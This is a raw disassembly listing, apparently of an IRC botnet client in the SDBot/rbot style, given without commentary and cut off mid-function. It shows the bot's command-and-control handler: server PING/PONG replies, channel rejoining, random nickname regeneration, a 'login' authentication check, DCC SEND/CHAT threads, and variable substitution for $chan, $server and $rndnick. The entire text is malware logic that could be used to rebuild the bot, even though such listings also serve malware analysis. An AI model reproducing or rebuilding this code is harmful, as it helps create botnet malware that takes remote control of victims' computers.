var_1514 = byte ptr -1514h
var_1510 = byte ptr -1510h
var_1410 = byte ptr -1410h
var_1400 = byte ptr -1400h
var_1380 = byte ptr -1380h
var_1300 = dword ptr -1300h
var_12F8 = dword ptr -12F8h
var_12F4 = dword ptr -12F4h
var_12F0 = dword ptr -12F0h
var_12EC = dword ptr -12ECh
var_12E8 = dword ptr -12E8h
var_12E4 = dword ptr -12E4h
var_12DC = byte ptr -12DCh
var_125C = byte ptr -125Ch
var_11DC = dword ptr -11DCh
var_11D8 = dword ptr -11D8h
var_11D4 = dword ptr -11D4h
var_11CC = dword ptr -11CCh
var_11C8 = dword ptr -11C8h
var_11C4 = dword ptr -11C4h
var_11BC = byte ptr -11BCh
var_1170 = dword ptr -1170h
var_1168 = byte ptr -1168h
var_1154 = byte ptr -1154h
var_1050 = byte ptr -1050h
var_FD0 = dword ptr -0FD0h
var_FCC = dword ptr -0FCCh
var_FC8 = dword ptr -0FC8h
var_FC4 = dword ptr -0FC4h
var_FC0 = dword ptr -0FC0h
var_FBC = dword ptr -0FBCh
var_FB8 = byte ptr -0FB8h
var_F38 = byte ptr -0F38h
var_E38 = byte ptr -0E38h
var_D38 = dword ptr -0D38h
var_D34 = dword ptr -0D34h
var_D30 = dword ptr -0D30h
var_D2C = dword ptr -0D2Ch
var_D28 = dword ptr -0D28h
var_D24 = dword ptr -0D24h
var_D20 = dword ptr -0D20h
var_D1C = dword ptr -0D1Ch
var_D18 = dword ptr -0D18h
var_D14 = dword ptr -0D14h
var_D0C = byte ptr -0D0Ch
var_CF8 = byte ptr -0CF8h
var_CF4 = dword ptr -0CF4h
var_CF0 = byte ptr -0CF0h
var_C70 = byte ptr -0C70h
var_BF4 = byte ptr -0BF4h
var_BF0 = byte ptr -0BF0h
var_B74 = dword ptr -0B74h
var_B70 = dword ptr -0B70h
var_B6C = dword ptr -0B6Ch
var_B68 = dword ptr -0B68h
var_B64 = dword ptr -0B64h
var_B60 = byte ptr -0B60h
var_AE0 = dword ptr -0AE0h
var_ADC = byte ptr -0ADCh
var_AD0 = byte ptr -0AD0h
var_ACC = byte ptr -0ACCh
var_A5C = byte ptr -0A5Ch
var_9DC = dword ptr -9DCh
var_9D8 = dword ptr -9D8h
var_9D4 = dword ptr -9D4h
var_9D0 = dword ptr -9D0h
var_9CC = byte ptr -9CCh
var_96B = byte ptr -96Bh
var_96A = byte ptr -96Ah
var_968 = byte ptr -968h
var_967 = byte ptr -967h
var_95E = byte ptr -95Eh
var_95C = byte ptr -95Ch
var_95A = byte ptr -95Ah
var_959 = byte ptr -959h
var_8CC = byte ptr -8CCh
var_8C0 = byte ptr -8C0h
var_8B0 = dword ptr -8B0h
var_8AC = byte ptr -8ACh
var_890 = byte ptr -890h
var_870 = dword ptr -870h
var_844 = dword ptr -844h
var_840 = word ptr -840h
var_82C = byte ptr -82Ch
var_81C = byte ptr -81Ch
var_79C = byte ptr -79Ch
var_71C = dword ptr -71Ch
var_718 = dword ptr -718h
var_714 = dword ptr -714h
var_710 = dword ptr -710h
var_70C = dword ptr -70Ch
var_700 = dword ptr -700h
var_6FC = dword ptr -6FCh
var_6F4 = dword ptr -6F4h
var_6F0 = dword ptr -6F0h
var_6EC = dword ptr -6ECh
var_6E8 = dword ptr -6E8h
var_6E0 = dword ptr -6E0h
var_6DC = byte ptr -6DCh
var_65C = dword ptr -65Ch
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_64C = dword ptr -64Ch
var_644 = dword ptr -644h
var_640 = dword ptr -640h
var_63C = dword ptr -63Ch
var_634 = dword ptr -634h
var_630 = byte ptr -630h
var_5B0 = dword ptr -5B0h
var_5AC = dword ptr -5ACh
var_5A8 = dword ptr -5A8h
var_5A4 = dword ptr -5A4h
var_5A0 = dword ptr -5A0h
var_598 = dword ptr -598h
var_594 = dword ptr -594h
var_590 = dword ptr -590h
var_588 = byte ptr -588h
var_578 = byte ptr -578h
var_4F8 = byte ptr -4F8h
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_438 = byte ptr -438h
var_434 = dword ptr -434h
var_430 = byte ptr -430h
var_3B8 = word ptr -3B8h
var_3B4 = dword ptr -3B4h
var_3B0 = dword ptr -3B0h
var_3AC = dword ptr -3ACh
var_3A8 = dword ptr -3A8h
var_3A4 = dword ptr -3A4h
var_3A0 = dword ptr -3A0h
var_39C = dword ptr -39Ch
var_398 = byte ptr -398h
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = byte ptr -304h
var_2E8 = byte ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2D8 = word ptr -2D8h
var_2D6 = word ptr -2D6h
var_2D4 = dword ptr -2D4h
var_2C8 = byte ptr -2C8h
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = byte ptr -0C0h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 29B0h
call sub_4181D0
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C8]
push ebx
push eax
mov [ebp+var_A8], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_C4], ebx
call sub_417700
push 1Bh
lea eax, [ebp+var_304]
push [ebp+arg_10]
push eax
call sub_417760
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_40622C
push esi
lea eax, [ebp+var_2020]
push ebx
push eax
call sub_417700
dec esi
lea eax, [ebp+var_2020]
push esi
push [ebp+arg_0]
push eax
call sub_417760
lea eax, [ebp+var_2020]
push offset asc_437B88 ; " :"
push eax
call sub_417E00
mov [ebp+var_C], eax
lea eax, [ebp+var_2020]
push esi
push eax
lea eax, [ebp+var_2420]
push eax
call sub_417760
lea eax, [ebp+var_2420]
push offset asc_437B8C ; " !"
push eax
call sub_418AC0
xor edi, edi
add esp, 34h
inc edi
mov [ebp+var_94], eax
mov esi, edi
loc_401D4E: ; CODE XREF: sub_401C87+DFj
push 437B8Eh
push ebx
call sub_418AC0
mov [ebp+esi*4+var_94], eax
inc esi
pop ecx
cmp esi, 20h
pop ecx
jl short loc_401D4E
mov esi, [ebp+var_94]
cmp esi, ebx
jz loc_4075FD
cmp [ebp+var_90], ebx
jz loc_4075FD
push 100h
lea eax, [ebp+var_9CC]
push ebx
push eax
call sub_417700
add esp, 0Ch
push 1Fh
pop edx
loc_401D9A: ; CODE XREF: sub_401C87+147j
lea ecx, [ebp+edx*4+var_94]
mov eax, [ecx]
cmp eax, ebx
jz short loc_401DCD
cmp byte ptr [eax], 2Dh
jnz short loc_401DD0
cmp [eax+2], bl
jnz short loc_401DD0
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_9CC], 1
mov esi, [ebp+var_94]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401DCD: ; CODE XREF: sub_401C87+11Ej
dec edx
jns short loc_401D9A
loc_401DD0: ; CODE XREF: sub_401C87+123j
; sub_401C87+128j
cmp [ebp+var_959], bl
jz short loc_401DDB
mov [ebp+var_8], edi
loc_401DDB: ; CODE XREF: sub_401C87+14Fj
cmp [ebp+var_95E], bl
jz short loc_401DE9
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401DE9: ; CODE XREF: sub_401C87+15Aj
cmp byte ptr [esi], 0Ah
jz short loc_401E23
push 7Fh
lea eax, [ebp+var_B60]
push esi
push eax
call sub_417760
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C0]
push eax
call sub_417760
lea eax, [ebp+var_C0]
push 437B90h
push eax
call sub_418AC0
add esp, 20h
loc_401E23: ; CODE XREF: sub_401C87+165j
push esi
push offset aPing ; "PING"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_401E74
push [ebp+var_90]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_407604
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_4075FD
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_407604
add esp, 10h
jmp loc_4075FD
; ---------------------------------------------------------------------------
loc_401E74: ; CODE XREF: sub_401C87+1ABj
mov esi, [ebp+var_90]
push esi
push offset a001 ; "001"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4075BC
push esi
push offset a005 ; "005"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4075BC
push esi
push offset a302 ; "302"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_401EE6
push offset a@ ; "@"
push [ebp+var_88]
call sub_417E00
pop ecx
cmp eax, ebx
pop ecx
jz loc_4075FD
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_417760
add esp, 0Ch
jmp loc_4075FD
; ---------------------------------------------------------------------------
loc_401EE6: ; CODE XREF: sub_401C87+22Cj
push esi
push offset a433 ; "433"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_401F24
push ebx
push dword_4370A4
push dword_4370A0
push [ebp+arg_10]
call sub_409361
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_407604
add esp, 1Ch
jmp loc_4075FD
; ---------------------------------------------------------------------------
loc_401F24: ; CODE XREF: sub_401C87+26Ej
mov esi, [ebp+arg_18]
mov [ebp+var_C8], 3
mov edi, 80h
loc_401F36: ; CODE XREF: sub_401C87+2D4j
lea eax, [ebp+var_B60]
push eax
push esi
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_401F53
mov [ebp+var_A4], 1
loc_401F53: ; CODE XREF: sub_401C87+2C0j
add esi, edi
dec [ebp+var_C8]
jnz short loc_401F36
mov esi, [ebp+var_90]
push esi
push offset aKick ; "KICK"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_40203F
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401F82: ; CODE XREF: sub_401C87+37Aj
cmp [esi], bl
jz short loc_401FFC
push 7Fh
lea eax, [ebp+var_B60]
push esi
push eax
call sub_417760
add esp, 0Ch
cmp [ebp+var_88], ebx
jz short loc_401FFC
push [ebp+var_88]
lea eax, [ebp+var_C0]
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_401FFC
lea eax, [ebp+var_C0]
mov [esi], bl
push eax
lea eax, [ebp+var_2C8]
push offset unk_437BE0
push eax
call sub_417CB0
lea eax, [ebp+var_2C8]
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_407604
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
add esp, 20h
loc_401FFC: ; CODE XREF: sub_401C87+2FDj
; sub_401C87+317j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401F82
push [ebp+var_88]
push [ebp+arg_10]
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_40622C
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
loc_40202F: ; CODE XREF: sub_401C87+5F4j
; sub_401C87+892j ...
push [ebp+arg_4]
call sub_407604
loc_402037: ; CODE XREF: sub_401C87+1FFEj
; sub_401C87+201Bj ...
add esp, 10h
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_40203F: ; CODE XREF: sub_401C87+2EBj
push esi
push offset aNick ; "NICK"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_402187
mov eax, [ebp+var_8C]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_402068: ; CODE XREF: sub_401C87+433j
lea eax, [ebp+var_B60]
push eax
push esi
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_4020B5
lea eax, [ebp+var_B60]
push 21h
push eax
call sub_418970
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_4020B5
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_418870
push [ebp+arg_1C]
push edi
call sub_418880
add esp, 10h
mov edi, 80h
loc_4020B5: ; CODE XREF: sub_401C87+3F2j
; sub_401C87+409j
add esi, edi
dec [ebp+arg_0]
jnz short loc_402068
cmp [ebp+arg_24], ebx
jz loc_40622C
push [ebp+arg_10]
lea eax, [ebp+var_C0]
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_4020EF
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_417760
loc_4020E7: ; CODE XREF: sub_401C87+18FCj
add esp, 0Ch
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_4020EF: ; CODE XREF: sub_401C87+451j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4020F4: ; CODE XREF: sub_401C87+48Ej
cmp [edi], bl
jz short loc_40210B
lea eax, [ebp+var_B60]
push eax
push edi
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_40211C
loc_40210B: ; CODE XREF: sub_401C87+46Fj
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4020F4
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_40211C: ; CODE XREF: sub_401C87+482j
lea eax, [ebp+var_B60]
push 21h
push eax
call sub_418970
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_40622C
push eax
call sub_414EC0
push [ebp+arg_24]
mov edi, eax
call sub_414EC0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_40622C
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_417CB0
push ebx
lea eax, [ebp+var_890]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_40764A
add esp, 24h
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_402187: ; CODE XREF: sub_401C87+3C7j
push esi
push offset aPart ; "PART"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_4021A9
push esi
push offset aQuit ; "QUIT"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_4021D6
loc_4021A9: ; CODE XREF: sub_401C87+50Fj
mov edi, [ebp+arg_18]
xor esi, esi
loc_4021AE: ; CODE XREF: sub_401C87+547j
cmp [edi], bl
jz short loc_4021C4
push [ebp+var_94]
push edi
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_40221F
loc_4021C4: ; CODE XREF: sub_401C87+529j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4021AE
mov esi, [ebp+var_90]
loc_4021D6: ; CODE XREF: sub_401C87+520j
push esi
push offset a353 ; "353"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_402280
push [ebp+var_84]
push [ebp+arg_8]
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402208
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_402208: ; CODE XREF: sub_401C87+576j
push [ebp+var_84]
push offset unk_437C44
loc_402213: ; CODE XREF: sub_401C87+2380j
; sub_401C87+2707j ...
call sub_40F99B
loc_402218: ; CODE XREF: sub_401C87+18ACj
pop ecx
loc_402219: ; CODE XREF: sub_401C87+4421j
pop ecx
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_40221F: ; CODE XREF: sub_401C87+53Bj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C8]
push offset unk_437C64
push eax
call sub_417CB0
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
push [ebp+var_90]
push offset aPart_0 ; "PART"
call sub_418A30
add esp, 18h
test eax, eax
jnz loc_40622C
lea eax, [ebp+var_2C8]
push eax
mov eax, [ebp+var_94]
inc eax
push eax
push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n"
jmp loc_40202F
; ---------------------------------------------------------------------------
loc_402280: ; CODE XREF: sub_401C87+55Ej
push esi
push offset aPrivmsg ; "PRIVMSG"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_4022C3
push esi
push offset aNotice ; "NOTICE"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_4022C3
push esi
push offset a332 ; "332"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_40743C
cmp dword_43708C, ebx
jz loc_40743C
loc_4022C3: ; CODE XREF: sub_401C87+608j
; sub_401C87+619j
push esi
push offset aPrivmsg_0 ; "PRIVMSG"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40243D
push esi
push offset aNotice_0 ; "NOTICE"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40243D
mov eax, [ebp+var_88]
inc [ebp+var_84]
mov [ebp+var_A8], 4
mov [ebp+var_8C], eax
loc_402309: ; CODE XREF: sub_401C87+870j
; sub_401C87+8A6j ...
mov eax, [ebp+var_A8]
mov esi, eax
shl esi, 2
lea edi, [ebp+esi+var_94]
mov eax, [edi]
push eax
push offset dword_437CC4
mov [ebp+arg_20], eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_4026DF
push [ebp+esi+var_90]
push offset aSend_1 ; "SEND"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_4025A7
cmp [ebp+var_A4], ebx
jz loc_40257D
push [ebp+esi+var_8C]
lea eax, [ebp+var_CF8]
push offset aS_21 ; "%s"
push eax
call sub_417CB0
push [ebp+esi+var_88]
lea eax, [ebp+var_D0C]
push offset aS_22 ; "%s"
push eax
call sub_417CB0
push [ebp+esi+var_84]
call sub_417960
mov [ebp+var_B74], eax
mov eax, [ebp+arg_4]
mov [ebp+var_D14], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_BF4]
push eax
call sub_417760
mov eax, [ebp+var_4]
mov [ebp+var_B6C], eax
mov eax, [ebp+var_8]
mov [ebp+var_B68], eax
lea eax, [ebp+var_BF4]
push eax
lea eax, [ebp+var_CF8]
push eax
lea eax, [ebp+var_2C8]
push offset unk_437CDC
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 1Ah
push eax
call sub_409663
add esp, 44h
mov [ebp+var_B70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D14]
push ebx
push eax
push offset sub_410A18
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_B70]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jz loc_40256C
jmp loc_402562
; ---------------------------------------------------------------------------
loc_40243D: ; CODE XREF: sub_401C87+64Bj
; sub_401C87+660j
push esi
push offset aNotice_1 ; "NOTICE"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402455
mov [ebp+var_4], 1
loc_402455: ; CODE XREF: sub_401C87+7C5j
mov edi, [ebp+var_8C]
cmp edi, ebx
jz loc_40622C
push offset asc_437D14 ; "#"
push edi
call sub_417E00
pop ecx
test eax, eax
pop ecx
jz short loc_402479
cmp [ebp+var_4], ebx
jz short loc_402485
loc_402479: ; CODE XREF: sub_401C87+7EBj
lea edi, [ebp+var_C0]
mov [ebp+var_8C], edi
loc_402485: ; CODE XREF: sub_401C87+7F0j
cmp [ebp+var_88], ebx
jz loc_40622C
inc [ebp+var_88]
jz short loc_4024CD
cmp [ebp+arg_10], ebx
jz short loc_4024CD
lea eax, [ebp+var_304]
push eax
call sub_414EC0
push eax
lea eax, [ebp+var_304]
push [ebp+var_88]
push eax
call sub_418830
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_A8], eax
loc_4024CD: ; CODE XREF: sub_401C87+810j
; sub_401C87+815j
mov eax, [ebp+var_A8]
shl eax, 2
mov [ebp+arg_8], eax
mov esi, [ebp+eax+var_94]
cmp esi, ebx
jz loc_40622C
push esi
push offset dword_437D18
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_402309
cmp byte ptr [edi], 23h
jz short loc_40251E
mov eax, dword_4D6518
mov eax, off_4371D8[eax*4]
cmp [eax], bl
jz short loc_40251E
push eax
push edi
push offset dword_437D24
jmp loc_40202F
; ---------------------------------------------------------------------------
loc_40251E: ; CODE XREF: sub_401C87+879j
; sub_401C87+889j
push esi
push offset dword_437D40
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_402309
mov eax, [ebp+arg_8]
mov eax, [ebp+eax+var_90]
cmp eax, ebx
jz loc_402309
cmp byte ptr [edi], 23h
jz loc_402309
push eax
push edi
push offset dword_437D48
jmp loc_40202F
; ---------------------------------------------------------------------------
loc_40255A: ; CODE XREF: sub_401C87+8E1j
push 32h
call dword_4E033C ; Sleep
loc_402562: ; CODE XREF: sub_401C87+7B1j
cmp [ebp+var_B64], ebx
jz short loc_40255A
jmp short loc_40259F
; ---------------------------------------------------------------------------
loc_40256C: ; CODE XREF: sub_401C87+7ABj
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_437D60
jmp loc_406DB6
; ---------------------------------------------------------------------------
loc_40257D: ; CODE XREF: sub_401C87+6CFj
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C8]
push [ebp+esi+var_8C]
push offset unk_437DA0
push eax
call sub_417CB0
add esp, 10h
loc_40259F: ; CODE XREF: sub_401C87+8E3j
; sub_401C87+A31j ...
xor esi, esi
inc esi
jmp loc_405EC4
; ---------------------------------------------------------------------------
loc_4025A7: ; CODE XREF: sub_401C87+6C3j
push [ebp+esi+var_90]
push offset aChat ; "CHAT"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_4026F5
cmp [ebp+var_A4], ebx
jz loc_4026CE
push 1Bh
call sub_4098A5
test eax, eax
pop ecx
jnz loc_4026BD
push [ebp+esi+var_88]
lea eax, [ebp+var_1168]
push offset aS ; "%s"
push eax
call sub_417CB0
push [ebp+esi+var_84]
call sub_417960
mov [ebp+var_FD0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1170], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_1050]
push eax
call sub_417760
mov eax, [ebp+var_4]
mov [ebp+var_FC8], eax
mov eax, [ebp+var_8]
mov [ebp+var_FC4], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C8]
push offset unk_437DF0
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 1Bh
push eax
call sub_409663
add esp, 34h
mov [ebp+var_FCC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1170]
push ebx
push eax
push offset sub_4104B2
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_FCC]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_4026B0
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_437E10
jmp loc_406DB6
; ---------------------------------------------------------------------------
loc_4026A8: ; CODE XREF: sub_401C87+A2Fj
push 32h
call dword_4E033C ; Sleep
loc_4026B0: ; CODE XREF: sub_401C87+A0Ej
cmp [ebp+var_FC0], ebx
jz short loc_4026A8
jmp loc_40259F
; ---------------------------------------------------------------------------
loc_4026BD: ; CODE XREF: sub_401C87+951j
lea eax, [ebp+var_C0]
push eax
push offset unk_437E48
jmp loc_406DB6
; ---------------------------------------------------------------------------
loc_4026CE: ; CODE XREF: sub_401C87+941j
lea eax, [ebp+var_C0]
push eax
push offset unk_437E78
jmp loc_406DB6
; ---------------------------------------------------------------------------
loc_4026DF: ; CODE XREF: sub_401C87+6A8j
mov eax, [ebp+arg_20]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_437098
mov [edi], ecx
jnz loc_40622C
loc_4026F5: ; CODE XREF: sub_401C87+935j
mov edi, [edi]
push edi
push offset aLogin ; "login"
mov [ebp+arg_20], edi
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407444
push edi
push offset asc_437EB2 ; "l"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407444
cmp [ebp+var_A4], ebx
jnz short loc_402746
push [ebp+var_90]
push offset a332_0 ; "332"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_40743C
loc_402746: ; CODE XREF: sub_401C87+AA3j
cmp [ebp+arg_28], ebx
jnz loc_40743C
xor edi, edi
cmp dword_437A40, ebx
jle loc_4028EA
mov [ebp+arg_8], offset dword_448820
loc_402764: ; CODE XREF: sub_401C87+AFCj
push [ebp+arg_20]
push [ebp+arg_8]
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_40278A
add [ebp+arg_8], 0B8h
inc edi
cmp edi, dword_437A40
jl short loc_402764
jmp loc_4028EA
; ---------------------------------------------------------------------------
loc_40278A: ; CODE XREF: sub_401C87+AECj
push offset asc_437EB8 ; " :"
push [ebp+arg_0]
call sub_417E00
pop ecx
cmp eax, ebx
pop ecx
jz loc_40622C
mov cl, byte_437098
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_437098
mov [eax+3], cl
lea ecx, dword_448838[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_417760
lea eax, dword_448820[edi]
add esp, 0Ch
mov [ebp+arg_8], 0Fh
mov [ebp+arg_C], eax
lea edi, [ebp+esi+var_54]
loc_4027E5: ; CODE XREF: sub_401C87+BF8j
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD ; "$%d-"
push eax
call sub_417CB0
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417E00
add esp, 14h
test eax, eax
jz short loc_402847
cmp [edi], ebx
jz short loc_40284B
push [ebp+arg_C]
call sub_414EC0
add [ebp+var_C], eax
pop ecx
jz short loc_402876
push dword ptr [edi-4]
push [ebp+var_C]
call sub_417E00
pop ecx
cmp eax, ebx
pop ecx
jz short loc_402876
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4118FD
add esp, 0Ch
jmp short loc_402876
; ---------------------------------------------------------------------------
loc_402847: ; CODE XREF: sub_401C87+B86j
cmp [edi], ebx
jnz short loc_402876
loc_40284B: ; CODE XREF: sub_401C87+B8Aj
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_417760
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4118FD
add esp, 18h
loc_402876: ; CODE XREF: sub_401C87+B98j
; sub_401C87+BA9j ...
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg loc_4027E5
lea eax, [ebp+esi+var_54]
mov [ebp+arg_8], 10h
mov edi, eax
loc_402892: ; CODE XREF: sub_401C87+C57j
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_417CB0
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417E00
add esp, 14h
test eax, eax
jz short loc_4028D5
mov eax, [edi]
cmp eax, ebx
jz short loc_4028D5
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4118FD
add esp, 0Ch
loc_4028D5: ; CODE XREF: sub_401C87+C33j
; sub_401C87+C39j
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg short loc_402892
mov [ebp+var_C4], 1
loc_4028EA: ; CODE XREF: sub_401C87+AD0j
; sub_401C87+AFEj
mov eax, [ebp+arg_20]
mov al, [eax]
cmp al, byte_437098
jz short loc_402903
cmp [ebp+var_C4], ebx
jz loc_402AE0
loc_402903: ; CODE XREF: sub_401C87+C6Ej
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_4118FD
lea eax, [ebp+var_C0]
push eax
push offset aUser ; "$user"
push edi
call sub_4118FD
push [ebp+var_8C]
push offset aChan ; "$chan"
push edi
call sub_4118FD
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_409361
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_4118FD
add esp, 40h
push [ebp+arg_14]
push offset aServer ; "$server"
push edi
call sub_4118FD
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_417E00
add esp, 14h
jmp loc_402A62
; ---------------------------------------------------------------------------
loc_40297A: ; CODE XREF: sub_401C87+DDDj
push offset aChr_0 ; "$chr("
push [ebp+arg_0]
call sub_417E00
